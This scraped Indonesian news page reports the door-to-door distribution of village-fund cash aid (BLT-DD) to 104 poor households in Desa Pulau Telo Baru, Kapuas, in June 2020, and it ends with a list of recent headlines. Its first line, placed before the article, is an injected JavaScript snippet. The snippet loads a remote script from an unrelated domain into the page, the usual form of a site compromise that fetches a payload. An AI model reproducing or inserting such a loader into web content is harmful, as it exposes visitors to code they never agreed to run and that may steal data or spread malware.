(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Kapuas

Desa Pulau Telo Baru Bagikan BLT-DD ke Keluarga Penerima Manfaat Secara Langsung


KANALKALIMANTAN. COM, KUALA KAPUAS – Pembagian Bantuan Langsung Tunai Dana Desa (BLT-DD) di Desa Pulau Telo Baru, Kecamatan Selat, dilakukan secara simbolis dengan mendatangi langsung Keluarga Penerima Manfaat (KPM) secara atau door to door.

Guna mengantisipasi bantuan yang tak tepat sasaran, aparat desa juga menempelkan stiker ‘Keluarga Miskin’ di rumah KPM. Pembagian ini dilaksanakan selama satu hari pada Kamis (4/6/2020).

Kades Pulau Telo Baru Gunawan menjelaskan pembagian BLT-DD untuk tahap pertama dilakukan secara door to door untuk memudahkan para penerima. Mengingat, di Desa Pulau Telo Baru sebagian besar penerima BLT-DD merupakan keluarga miskin yang sudah lanjut usia.

Untuk teknis pembagian, Gunawan menjelaskan, pihaknya membagi tim menjadi empat kelompok, yang masing-masing dikoordinir oleh ketua RT bergerak ke masing-masing wilayahnya. Gunawan melanjutkan, besaran DD yang dialokasikan untuk BLT ini sebesar Rp 112 juta selama tiga bulan. Sedangkan jumlah keluarga penerima manfaat sebanyak 104 KK. Sehingga untuk tahap pertama ini, anggaran yang digelontor sebesar Rp 62 juta.

Terkait proses penyaluran BLT-DD, Gunawan memaparkan pihaknya melibatkan relawan sudah melakukan pendataan dan verifikasi lapangan untuk memastikan kelayakan calon keluarga penerima BLT. Setelah itu, Badan Permusyawaratan Desa (BPD) setempat menggelar Musyawarah Desa Khusus untuk membahas dan menetapkan keluarga penerima manfaat.

“Banyak masyarakat yang belum paham dengan proses pendataan tersebut. Tetapi dengan penjelasan dari kami Pemerintah Desa dan BPD, akhirnya masyarakat bisa mengerti,” lanjutnya.

Ia berharap agar bantuan senilai Rp 600 ribu per bulan selama tiga bulan itu benar-benar bisa dimanfaatkan untuk memenuhi kebutuhan pokok. Dia tidak ingin ada oknum penerima yang menyalahgunakan dana bantuan yang diterima dari pemerintah tersebut,” jelasnya. (Kanalkalimantan.com/ags)

 

Reporter : Ags
Editor : Cell

 


Desy Arfianty

Recent Posts

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

19 menit ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

4 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

18 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

19 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

20 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

24 jam ago

This website uses cookies.